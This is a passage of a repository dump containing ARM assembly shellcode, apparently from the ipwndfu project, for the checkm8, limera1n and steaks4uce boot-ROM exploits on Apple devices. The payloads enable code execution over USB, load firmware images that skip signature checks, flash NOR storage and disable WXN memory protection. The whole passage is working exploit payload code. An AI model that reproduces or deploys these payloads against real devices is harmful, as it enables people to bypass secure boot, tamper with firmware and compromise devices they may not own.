LDP X3, X4, [X1,#0x20] 63 | STP X3, X4, [X0,#0x20] 64 | LDP X3, X4, [X1,#0x30] 65 | STP X3, X4, [X0,#0x30] 66 | DC CIVAC, X0 67 | DMB SY 68 | ADD X0, X0, #0x40 69 | ADD X1, X1, #0x40 70 | ADD X2, X2, #0x40 71 | CMP X2, X3 72 | B.CC copy_loop 73 | 74 | SYS #0, c7, c5, #0 75 | DSB SY 76 | ISB 77 | 78 | LDP X29, X30, [SP],#0x10 79 | RET 80 | 81 | USB_DESCRIPTOR: 82 | .word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0 83 | 84 | PWND_STRING: 85 | .asciz " PWND:[checkm8]" 86 | -------------------------------------------------------------------------------- /src/checkm8_armv7.S: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .pool 4 | .set PAYLOAD_OFFSET, 0xBAD00006 5 | .set PAYLOAD_SIZE, 0xBAD00007 6 | .set PAYLOAD_DEST, 0xBAD00005 7 | .set PAYLOAD_PTR, 0xBAD00008 8 | .set gUSBSerialNumber, 0xBAD00002 9 | .set gUSBSRNMStringDescriptor, 0xBAD00004 10 | .set gUSBDescriptors, 0xBAD00001 11 | .set usb_create_string_descriptor, 0xBAD00003 12 | 13 | .code 32 14 | .global _main 15 | _main: 16 | MOV R4, #0 // HACK: do not free this usb request 17 | PUSH {R4-R7,LR} 18 | 19 | LDR R0, =gUSBDescriptors 20 | LDRD R0, R1, [R0] 21 | ADR R2, USB_DESCRIPTOR 22 | LDRD R4, R5, [R2] 23 | STRD R4, R5, [R0] 24 | STRD R4, R5, [R1] 25 | LDRD R4, R5, [R2,#0x8] 26 | STRD R4, R5, [R0,#0x8] 27 | STRD R4, R5, [R1,#0x8] 28 | LDRD R4, R5, [R2,#0x10] 29 | STRD R4, R5, [R0,#0x10] 30 | STRD R4, R5, [R1,#0x10] 31 | LDRD R4, R5, [R2,#0x18] 32 | STRD R4, R5, [R0,#0x18] 33 | STRD R4, R5, [R1,#0x18] 34 | 35 | LDR R0, =gUSBSerialNumber 36 | find_zero_loop: 37 | ADD R0, R0, #1 38 | LDRB R1, [R0] 39 | CMP R1, #0 40 | BNE find_zero_loop 41 | 42 | ADR R1, PWND_STRING 43 | LDR R2, [R1] 44 | LDR R3, [R1,#0x4] 45 | STR R2, [R0] 46 | STR R3, [R0,#0x4] 47 | LDR R2, [R1,#0x8] 48 | LDR R3, [R1,#0xC] 49 | STR R2, [R0,#0x8] 50 | STR R3, [R0,#0xC] 51 | 52 | LDR R0, =gUSBSerialNumber 53 | LDR R1, =usb_create_string_descriptor 54 | LDR R4, =gUSBSRNMStringDescriptor 55 | BLX R1 56 | STRB R0, [R4] 57 | 58 | LDR R0, =PAYLOAD_DEST 59 | ADR R1, _main 60 | LDR R2, =PAYLOAD_OFFSET 61 | ADD R1, R1, R2 62 | MOV R2, #0 63 | LDR R3, =PAYLOAD_SIZE 64 | LDR R4, =PAYLOAD_PTR 65 | ADD R5, R0, #0x9 66 | STR R5, [R4] 67 | 68 | copy_loop: 69 | LDRD R4, R5, [R1] 70 | STRD R4, R5, [R0] 71 | LDRD R4, R5, [R1,#0x8] 72 | STRD R4, R5, [R0,#0x8] 73 | LDRD R4, R5, [R1,#0x10] 74 | STRD R4, R5, [R0,#0x10] 75 | LDRD R4, R5, [R1,#0x18] 76 | STRD R4, R5, [R0,#0x18] 77 | LDRD R4, R5, [R1,#0x20] 78 | STRD R4, R5, [R0,#0x20] 79 | LDRD R4, R5, [R1,#0x28] 80 | STRD R4, R5, [R0,#0x28] 81 | LDRD R4, R5, [R1,#0x30] 82 | STRD R4, R5, [R0,#0x30] 83 | LDRD R4, R5, [R1,#0x38] 84 | STRD R4, R5, [R0,#0x38] 85 | MCR p15, 0, R0,c7,c14, 1 86 | DMB SY 87 | ADD R0, R0, #0x40 88 | ADD R1, R1, #0x40 89 | ADD R2, R2, #0x40 90 | CMP R2, R3 91 | BCC copy_loop 92 | 93 | MOV R0, #0 94 | MCR p15, 0, R0, c7, c5, 0 95 | DSB 96 | ISB 97 | 98 | POP {R4-R7,PC} 99 | 100 | USB_DESCRIPTOR: 101 | .word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0 102 | 103 | PWND_STRING: 104 | .asciz " PWND:[checkm8]" 105 | -------------------------------------------------------------------------------- /src/ibss-flash-nor-shellcode.S: -------------------------------------------------------------------------------- 1 | @ ibss-flash-nor-shellcode.S 2 | @ Author: axi0mX 3 | @ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS 4 | @ Parts flashed: 0x0-0x200, 0x8000-0xF3000 5 | 6 | .text 7 | 8 | .pool 9 | .set reboot_cmd, 0x84000cdd 10 | .set set_bgcolor, 0x8400c6ed 11 | .set apply_bgcolor, 0x8400c789 12 | .set get_block_device, 0x84012c61 13 | 14 | .set gNor0String, 0x84014754 15 | 16 | .set NOR_PAYLOAD_BASE, 0x41000080 17 | .set NOR_WRITE_1_OFFSET, 0 18 | .set NOR_WRITE_1_SIZE, 0x200 19 | .set NOR_WRITE_2_OFFSET, 0x8000 20 | .set NOR_WRITE_2_SIZE, 0x78000 21 | .set NOR_WRITE_3_OFFSET, 0x80000 22 | .set NOR_WRITE_3_SIZE, 0x73000 23 | 24 | .global _start 25 | 26 | _start: 27 | .code 16 28 | MOV R0, #0 29 | MOV R1, #160 30 | MOV R2, #0 31 | LDR R3, =set_bgcolor 32 | BLX R3 @ set_bgcolor(0, 160, 0) 33 | 34 | LDR R3, =apply_bgcolor 35 | BLX R3 @ apply_bgcolor() 36 | 37 | LDR R0, =NOR_WRITE_1_OFFSET 38 | LDR R1, =NOR_WRITE_1_SIZE 39 | BL flash_nor @ flash_nor(NOR_WRITE_1_OFFSET, NOR_WRITE_1_SIZE) 40 | 41 | LDR R0, =NOR_WRITE_2_OFFSET 42 | LDR R1, =NOR_WRITE_2_SIZE 43 | BL flash_nor @ flash_nor(NOR_WRITE_2_OFFSET, NOR_WRITE_2_SIZE) 44 | 45 | LDR R0, =NOR_WRITE_3_OFFSET 46 | LDR R1, =NOR_WRITE_3_SIZE 47 | BL flash_nor @ flash_nor(NOR_WRITE_3_OFFSET, NOR_WRITE_3_SIZE) 48 | 49 | LDR R3, =reboot_cmd 50 | BLX R3 @ reboot_cmd() 51 | 52 | /* reboot_cmd should never return */ 53 | 54 | B spin @ goto spin 55 | 56 | flash_nor: @ void flash_nor(R0=offset, R1=size) 57 | PUSH {R4-R5, LR} 58 | 59 | MOV R4, R0 @ R4 = R0 60 | MOV R5, R1 @ R5 = R1 61 | 62 | LDR R0, =gNor0String 63 | LDR R3, =get_block_device 64 | BLX R3 @ R0 = get_block_device(gNor0String) 65 | 66 | CBZ R0, fail @ if (R0 == 0) goto fail 67 | 68 | LDR R1, =NOR_PAYLOAD_BASE 69 | ADD R1, R1, R4 70 | MOV R2, R4 71 | MOV R3, #0 72 | STR R5, [SP] 73 | LDR R4, [R0, #0x24] 74 | BLX R4 @ R0 = R0[9](R0, NOR_PAYLOAD_BASE + R4, R4, 0, R5) 75 | 76 | CMP R0, R5 77 | BNE fail @ if (R0 != R5) goto fail 78 | 79 | POP {R4-R5, PC} @ return 80 | 81 | fail: 82 | MOV R0, #255 83 | MOV R1, #0 84 | MOV R2, #0 85 | LDR R3, =set_bgcolor 86 | BLX R3 @ set_bgcolor(255, 0, 0) 87 | 88 | LDR R3, =apply_bgcolor 89 | BLX R3 @ apply_bgcolor() 90 | 91 | spin: 92 | B spin @ while (1) 93 | -------------------------------------------------------------------------------- /src/limera1n-shellcode.S: -------------------------------------------------------------------------------- 1 | @ limera1n-shellcode.S 2 | @ Author: axi0mX 3 | @ Shellcode for limera1n exploit with minor improvements: 4 | @ * supports 'exec' magic for code execution over USB 5 | @ * reports PWND:[limera1n] in USB serial number string 6 | 7 | .text 8 | 9 | .pool 10 | .set free, 0xBAD0000d 11 | .set memz_create, 0xBAD0000f 12 | .set memz_destroy, 0xBAD00011 13 | .set image3_create_struct, 0xBAD00014 14 | .set image3_load_continue, 0xBAD00015 15 | .set image3_load_fail, 0xBAD00016 16 | .set usb_wait_for_image, 0xBAD00009 17 | .set jump_to, 0xBAD00010 18 | .set nor_power_on, 0xBAD00005 19 | .set nor_init, 0xBAD00006 20 | .set memmove, 0xBAD00003 21 | .set strlcat, 0xBAD00008 22 | 23 | .set gLeakingDFUBuffer, 0xBAD0000c 24 | .set gUSBSerialNumber, 0xBAD00007 25 | 26 | .set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00001 27 | .set RELOCATE_SHELLCODE_SIZE, 0xBAD00002 28 | .set MAIN_STACK_ADDRESS, 0xBAD00004 29 | .set LOAD_ADDRESS, 0xBAD0000a 30 | .set MAX_SIZE, 0xBAD0000b 31 | .set EXEC_MAGIC, 0xBAD0000e 32 | .set IMAGE3_LOAD_SP_OFFSET, 0xBAD00012 33 | .set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00013 34 | 35 | .global _start 36 | 37 | _start: 38 | .code 16 39 | B relocate_shellcode @ goto relocate_shellcode 40 | 41 | NOP 42 | NOP 43 | NOP 44 | NOP 45 | NOP 46 | NOP 47 | NOP 48 | NOP 49 | NOP 50 | 51 | relocate_shellcode: 52 | MOV R1, PC 53 | SUB R1, R1, #4 @ R1 = PC - 4 54 | 55 | LDR R0, =RELOCATE_SHELLCODE_ADDRESS 56 | CMP R0, R1 57 | BEQ pwned_dfu_start @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start 58 | 59 | LDR R2, =RELOCATE_SHELLCODE_SIZE 60 | LDR R3, =memmove 61 | BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE) 62 | 63 | LDR R3, =RELOCATE_SHELLCODE_ADDRESS 64 | ADD R3, R3, #1 65 | BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1) 66 | 67 | pwned_dfu_start: 68 | LDR R0, =MAIN_STACK_ADDRESS 69 | MOV SP, R0 @ SP = MAIN_STACK_ADDRESS 70 | 71 | MOV R0, #1 72 | MOV R1, #1 73 | MOV R2, #0 74 | LDR R3, =nor_power_on 75 | BLX R3 @ nor_power_on(1, 1, 0) 76 | 77 | MOV R0, #0 78 | LDR R3, =nor_init 79 | BLX R3 @ nor_init(0) 80 | 81 | LDR R0, =gUSBSerialNumber 82 | ADR R1, PWND_STRING 83 | MOV R2, #120 84 | LDR R3, =strlcat 85 | BLX R3 @ strlcat(gUSBSerialNumber, PWND_STRING, 120) 86 | 87 | pwned_dfu_loop: 88 | LDR R3, =usb_wait_for_image 89 | LDR R0, =LOAD_ADDRESS 90 | LDR R1, =MAX_SIZE 91 | BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) 92 | 93 | MOV R4, R0 @ R4 = R0 94 | 95 | LDR R1, =gLeakingDFUBuffer 96 | LDR R0, [R1] @ R0 = gLeakingDFUBuffer 97 | 98 | MOV R2, #0 99 | STR R2, [R1] @ gLeakingDFUBuffer = 0 100 | 101 | LDR R3, =free 102 | BLX R3 @ free(R0) 103 | 104 | CMP R4, #0 105 | BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop 106 | 107 | LDR R5, =LOAD_ADDRESS 108 | LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] 109 | 110 | LDR R1, =EXEC_MAGIC 111 | CMP R0, R1 112 | BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic 113 | 114 | LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ 115 | 116 | LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ 117 | 118 | LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ 119 | 120 | LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ 121 | 122 | LDR R4, [R5, #0x18] 123 | STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ 124 | 125 | LDR R4, [R5, #0x1C] 126 | STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ 127 | 128 | LDR R4, [R5, #0x20] 129 | STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ 130 | 131 | LDR R4, [R5, #0x4] 132 | BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) 133 | 134 | STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 135 | 136 | MOV R1, #0 137 | STR R1, [R5] @ LOAD_ADDRESS[0] = 0 138 | 139 | B pwned_dfu_loop @ goto pwned_dfu_loop 140 | 141 | pwned_dfu_not_exec_magic: 142 | LDR R0, =LOAD_ADDRESS 143 | MOV R1, R4 144 | MOV R2, #0 145 | LDR R3, =memz_create 146 | BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0) 147 | 148 | CMP R0, #0 149 | BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */ 150 | 151 | LDR R3, =LOAD_ADDRESS 152 | STR R3, [SP] @ SP[0] = LOAD_ADDRESS 153 | 154 | STR R4, [SP, #4] @ SP[1] = R4 155 | 156 | MOV R4, R0 @ R4 = R0 157 | 158 | MOV R1, SP 159 | ADD R2, SP, #4 160 | BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) 161 | 162 | CBNZ R0, load_failed @ if (R0 != 0) goto load_failed 163 | 164 | LDR R1, =LOAD_ADDRESS 165 | MOV R2, #0 166 | LDR R3, =jump_to 167 | BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) 168 | 169 | /* jump_to should never return */ 170 | 171 | load_failed: 172 | MOV R0, R4 173 | LDR R3, =memz_destroy 174 | BLX R3 @ memz_destroy(R4) 175 | 176 | B pwned_dfu_loop @ goto pwned_dfu_loop 177 | 178 | image3_load_no_signature_check: 179 | PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR) 180 | 181 | MOV R6, R11 182 | MOV R5, R10 183 | MOV R4, R8 184 | PUSH {R4-R6} @ push_registers(R8, R10, R11) 185 | 186 | ADD R7, SP, #0x18 @ R7 = SP - 0x18 187 | 188 | LDR R4, =IMAGE3_LOAD_SP_OFFSET 189 | MOV R5, SP 190 | SUB R5, R5, R4 191 | MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET 192 | 193 | MOV R3, #0 194 | LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET 195 | ADD R4, R5, R4 196 | STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0 197 | 198 | STR R2, [SP, #0x10] @ SP[4] = R2 199 | 200 | STR R1, [SP, #0x14] @ SP[5] = R1 201 | 202 | STR R3, [SP, #0x18] @ SP[6] = 0 203 | 204 | LDR R6, [R1] @ R6 = *R1 205 | 206 | MOV R10, R1 @ R10 = R1 207 | 208 | MOV R11, R3 @ R11 = 0 209 | 210 | LDR R1, =MAX_SIZE 211 | MOV R8, R1 @ R8 = MAX_SIZE 212 | 213 | LDR R2, [R0, #4] 214 | CMP R2, R1 215 | BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail 216 | 217 | MOV R8, R2 @ R8 = R0[1] 218 | 219 | MOV R0, R4 220 | MOV R1, R6 221 | LDR R4, =image3_create_struct 222 | BLX R4 223 | MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) 224 | 225 | LDR R3, =image3_load_continue @ R3 = image3_load_continue 226 | 227 | CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 228 | 229 | img3_fail: 230 | MOV R4, #1 @ R4 = 1 231 | 232 | LDR R3, =image3_load_fail @ R3 = image3_load_fail 233 | 234 | img3_branch_R3: 235 | BX R3 @ goto R3 236 | 237 | .align 2 238 | 239 | PWND_STRING: 240 | .ascii " PWND:[limera1n]\x00" 241 | -------------------------------------------------------------------------------- /src/steaks4uce-shellcode.S: -------------------------------------------------------------------------------- 1 | @ steaks4uce-shellcode.S 2 | @ Author: axi0mX 3 | @ Shellcode for steaks4uce exploit with minor improvements: 4 | @ * reports PWND:[steaks4uce] in USB serial number string 5 | 6 | .text 7 | 8 | .pool 9 | .set clean_data_cache, 0xBAD0000a 10 | .set invalidate_instruction_cache, 0xBAD00006 11 | .set usb_shutdown, 0xBAD00005 12 | .set free, 0xBAD00011 13 | .set memz_create, 0xBAD00013 14 | .set memz_destroy, 0xBAD00015 15 | .set image3_create_struct, 0xBAD00018 16 | .set image3_load_continue, 0xBAD00019 17 | .set image3_load_fail, 0xBAD0001a 18 | .set usb_wait_for_image, 0xBAD0000d 19 | .set jump_to, 0xBAD00014 20 | .set nor_power_on, 0xBAD00002 21 | .set nor_init, 0xBAD00003 22 | .set usb_destroy, 0xBAD00004 23 | .set memmove, 0xBAD00009 24 | .set strlcat, 0xBAD0000c 25 | 26 | .set gLeakingDFUBuffer, 0xBAD00010 27 | .set gVersionString, 0xBAD0000b 28 | 29 | .set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00007 30 | .set RELOCATE_SHELLCODE_SIZE, 0xBAD00008 31 | .set MAIN_STACK_ADDRESS, 0xBAD00001 32 | .set LOAD_ADDRESS, 0xBAD0000e 33 | .set MAX_SIZE, 0xBAD0000f 34 | .set EXEC_MAGIC, 0xBAD00012 35 | .set IMAGE3_LOAD_SP_OFFSET, 0xBAD00016 36 | .set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00017 37 | 38 | .global _start 39 | 40 | .code 16 41 | _start: 42 | B pwned_dfu_start @ goto pwned_dfu_start 43 | NOP 44 | NOP 45 | NOP 46 | NOP 47 | NOP 48 | NOP 49 | NOP 50 | NOP 51 | NOP 52 | 53 | pwned_dfu_start: 54 | LDR R0, =MAIN_STACK_ADDRESS 55 | MOV SP, R0 @ SP = MAIN_STACK_ADDRESS 56 | 57 | MOV R0, #1 58 | MOV R1, #1 59 | MOV R2, #0 60 | LDR R3, =nor_power_on 61 | BLX R3 @ nor_power_on(1, 1, 0) 62 | 63 | MOV R0, #0 64 | LDR R3, =nor_init 65 | BLX R3 @ nor_init(0) 66 | 67 | LDR R3, =usb_destroy 68 | BLX R3 @ usb_destroy() 69 | 70 | LDR R3, =usb_shutdown 71 | BLX R3 @ usb_shutdown() 72 | 73 | LDR R3, =invalidate_instruction_cache 74 | BLX R3 @ invalidate_instruction_cache() 75 | 76 | relocate_shellcode: 77 | MOV R1, PC 78 | SUB R1, R1, #4 @ R1 = PC - 4 79 | 80 | LDR R0, =RELOCATE_SHELLCODE_ADDRESS 81 | CMP R0, R1 82 | BEQ pwned_dfu_loop @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop 83 | 84 | LDR R2, =RELOCATE_SHELLCODE_SIZE 85 | LDR R3, =memmove 86 | BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE) 87 | 88 | LDR R3, =RELOCATE_SHELLCODE_ADDRESS 89 | ADD R3, R3, #1 90 | BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1) 91 | 92 | pwned_dfu_loop: 93 | LDR R3, =clean_data_cache 94 | BLX R3 @ clean_data_cache() 95 | 96 | LDR R0, =gVersionString 97 | ADR R1, PWND_STRING 98 | MOV R2, #40 99 | LDR R3, =strlcat /* TODO: do this in a more reasonable way */ 100 | BLX R3 @ strlcat(gVersionString, PWND_STRING, 40) 101 | 102 | LDR R3, =usb_wait_for_image 103 | LDR R0, =LOAD_ADDRESS 104 | LDR R1, =MAX_SIZE 105 | BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) 106 | 107 | MOV R4, R0 @ R4 = R0 108 | 109 | LDR R1, =gLeakingDFUBuffer 110 | LDR R0, [R1] @ R0 = gLeakingDFUBuffer 111 | 112 | MOV R2, #0 113 | STR R2, [R1] @ gLeakingDFUBuffer = 0 114 | 115 | LDR R3, =free 116 | BLX R3 @ free(R0) 117 | 118 | CMP R4, #0 119 | BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop 120 | 121 | LDR R5, =LOAD_ADDRESS 122 | LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] 123 | 124 | LDR R1, =EXEC_MAGIC 125 | CMP R0, R1 126 | BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic 127 | 128 | LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ 129 | 130 | LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ 131 | 132 | LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ 133 | 134 | LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ 135 | 136 | LDR R4, [R5, #0x18] 137 | STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ 138 | 139 | LDR R4, [R5, #0x1C] 140 | STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ 141 | 142 | LDR R4, [R5, #0x20] 143 | STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ 144 | 145 | LDR R4, [R5, #0x4] 146 | BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) 147 | 148 | STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 149 | 150 | MOV R1, #0 151 | STR R1, [R5] @ LOAD_ADDRESS[0] = 0 152 | 153 | B pwned_dfu_loop @ goto pwned_dfu_loop 154 | 155 | pwned_dfu_not_exec_magic: 156 | LDR R0, =LOAD_ADDRESS 157 | MOV R1, R4 158 | MOV R2, #0 159 | LDR R3, =memz_create 160 | BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0) 161 | 162 | CMP R0, #0 163 | BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */ 164 | 165 | LDR R3, =LOAD_ADDRESS 166 | STR R3, [SP] @ SP[0] = LOAD_ADDRESS 167 | 168 | STR R4, [SP, #4] @ SP[1] = R4 169 | 170 | MOV R4, R0 @ R4 = R0 171 | 172 | MOV R1, SP 173 | ADD R2, SP, #4 174 | BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) 175 | 176 | CMP R0, #0 177 | BNE load_failed @ if (R0 != 0) goto load_failed 178 | 179 | LDR R1, =LOAD_ADDRESS 180 | MOV R2, #0 181 | LDR R3, =jump_to 182 | BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) 183 | 184 | /* jump_to should never return */ 185 | 186 | load_failed: 187 | MOV R0, R4 188 | LDR R3, =memz_destroy 189 | BLX R3 @ memz_destroy(R4) 190 | 191 | B pwned_dfu_loop @ goto pwned_dfu_loop 192 | 193 | image3_load_no_signature_check: 194 | PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR) 195 | 196 | MOV R6, R11 197 | MOV R5, R10 198 | MOV R4, R8 199 | PUSH {R4-R6} @ push_registers(R8, R10, R11) 200 | 201 | ADD R7, SP, #0x18 @ R7 = SP - 0x18 202 | 203 | LDR R4, =IMAGE3_LOAD_SP_OFFSET 204 | MOV R5, SP 205 | SUB R5, R5, R4 206 | MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET 207 | 208 | MOV R3, #0 209 | LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET 210 | ADD R4, R5, R4 211 | STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0 212 | 213 | STR R2, [SP, #0x10] @ SP[4] = R2 214 | 215 | STR R1, [SP, #0x14] @ SP[5] = R1 216 | 217 | STR R3, [SP, #0x18] @ SP[6] = 0 218 | 219 | LDR R6, [R1] @ R6 = *R1 220 | 221 | MOV R10, R1 @ R10 = R1 222 | 223 | MOV R11, R3 @ R11 = 0 224 | 225 | LDR R1, =MAX_SIZE 226 | MOV R8, R1 @ R8 = MAX_SIZE 227 | 228 | LDR R2, [R0, #4] 229 | CMP R2, R1 230 | BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail 231 | 232 | MOV R8, R2 @ R8 = R0[1] 233 | 234 | MOV R0, R4 235 | MOV R1, R6 236 | LDR R4, =image3_create_struct 237 | BLX R4 238 | MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) 239 | 240 | LDR R3, =image3_load_continue @ R3 = image3_load_continue 241 | 242 | CMP R4, #0 243 | BEQ img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 244 | 245 | img3_fail: 246 | MOV R4, #1 @ R4 = 1 247 | 248 | LDR R3, =image3_load_fail @ R3 = image3_load_fail 249 | 250 | img3_branch_R3: 251 | BX R3 @ goto R3 252 | 253 | .align 2 254 | 255 | PWND_STRING: 256 | .ascii "] PWND:[steaks4uce\x00" 257 | -------------------------------------------------------------------------------- /src/t8010_t8011_disable_wxn_arm64.S: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .align 2 4 | 5 | .globl _main 6 | _main: 7 | # Copy the real pagetable first 8 | MOV X1, #0x180000000 9 | ADD X2, X1, #0xA8000 10 | ADD X1, X1, #0xA0000 11 | MOV X0, 0 12 | cpy: 13 | LDR X3, [X1,X0] 14 | STR X3, [X2,X0] 15 | ADD X0, X0, #8 16 | CMP X0, #0x1000 17 | B.LE cpy 18 | 19 | # Patch our copy 20 | MOV X1, #0x180000000 21 | ADD X2, X1, #0xA8000 22 | ADD X1, X1, #0x625 23 | STR X1, [X2,#0x600] 24 | DMB SY 25 | 26 | # And now the real one 27 | MOV X2, #0x180000000 28 | ADD X2, X2, #0xA0000 29 | MOV X0, 0 30 | loop: 31 | LDR X1, [X2,X0] 32 | BIC X1, X1, #0x80 33 | BIC X1, X1, #0x0040000000000000 34 | BIC X1, X1, #0x0020000000000000 35 | STR X1, [X2,X0] 36 | DMB SY 37 | ADD X0, X0, #8 38 | CMP X0, 0x600 39 | B.LE loop 40 | 41 | MOV X0, #0x100D 42 | MSR SCTLR_EL1, X0 43 | DSB SY 44 | ISB 45 | 46 | RET 47 | -------------------------------------------------------------------------------- /src/usb_0xA1_2_arm64.S: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .pool 4 | .set USB_CORE_DO_IO, 0xBAD00006 5 | .set LOAD_ADDRESS, 0xBAD00001 6 | .set EXEC_MAGIC, 0xBAD00002 7 | .set MEMC_MAGIC, 0xBAD00004 8 | .set MEMS_MAGIC, 0xBAD00005 9 | .set DONE_MAGIC, 0xBAD00003 10 | 11 | .global _main 12 | _main: 13 | jump_back: 14 | BRK #1 15 | BRK #1 16 | 17 | LDRH W2, [X0] 18 | CMP W2, #0x2A1 19 | BNE jump_back 20 | 21 | STP X29, X30, [SP,#-0x10]! 22 | MOV X29, SP 23 | STP X20, X19, [SP,#-0x10]! 24 | 25 | MOV X19, X0 26 | LDR X20, =LOAD_ADDRESS 27 | 28 | MOV W1, #0xFFFF 29 | LDRH W2, [X19,#2] 30 | CMP W1, W2 31 | BNE request_done 32 | 33 | LDR X0, [X20] ; X0 = LOAD_ADDRESS[0] 34 | 35 | LDR X1, =EXEC_MAGIC 36 | CMP X0, X1 37 | BNE not_exec ; if (X0 != EXEC_MAGIC) goto not_exec 38 | 39 | STR XZR, [X20] ; LOAD_ADDRESS[0] = 0 40 | 41 | LDR X0, [X20, #0x10] ; X0 = LOAD_ADDRESS[2] /* arg1 */ 42 | LDR X1, [X20, #0x18] ; X1 = LOAD_ADDRESS[3] /* arg2 */ 43 | LDR X2, [X20, #0x20] ; X2 = LOAD_ADDRESS[4] /* arg3 */ 44 | LDR X3, [X20, #0x28] ; X3 = LOAD_ADDRESS[5] /* arg4 */ 45 | LDR X4, [X20, #0x30] ; X4 = LOAD_ADDRESS[6] /* arg5 */ 46 | LDR X5, [X20, #0x38] ; X5 = LOAD_ADDRESS[7] /* arg6 */ 47 | LDR X6, [X20, #0x40] ; X6 = LOAD_ADDRESS[8] /* arg7 */ 48 | LDR X7, [X20, #0x40] ; X7 = LOAD_ADDRESS[9] /* arg8 */ 49 | LDR X8, [X20, #0x8] 50 | BLR X8 ; X0 = LOAD_ADDRESS[1](X0, X1, X2, X3, X4, X5, X6, X7) 51 | 52 | LDR X8, =DONE_MAGIC 53 | STP X8, X0, [X20] ; LOAD_ADDRESS[0,1] = DONE_MAGIC, X0 54 | B request_done 55 | 56 | not_exec: 57 | LDR X1, =MEMC_MAGIC 58 | CMP X0, X1 59 | BNE not_memc 60 | 61 | STR XZR, [X20] 62 | 63 | LDP X0, X1, [X20, #0x10] 64 | LDR X2, [X20, #0x20] 65 | BL memcpy 66 | 67 | LDR X8, =DONE_MAGIC 68 | STR X8, [X20] 69 | B request_done 70 | 71 | not_memc: 72 | LDR X1, =MEMS_MAGIC 73 | CMP X0, X1 74 | BNE request_done 75 | 76 | STR XZR, [X20] 77 | 78 | LDP X0, X1, [X20, #0x10] 79 | LDR X2, [X20, #0x20] 80 | BL memset 81 | 82 | LDR X8, =DONE_MAGIC 83 | STR X8, [X20] 84 | B request_done 85 | 86 | request_done: 87 | MOV W0, #0x80 88 | MOV X1, X20 89 | LDRH W2, [X19,#6] 90 | MOV X3, #0 91 | LDR X4, =USB_CORE_DO_IO 92 | BLR X4 93 | 94 | MOV W0, #0 95 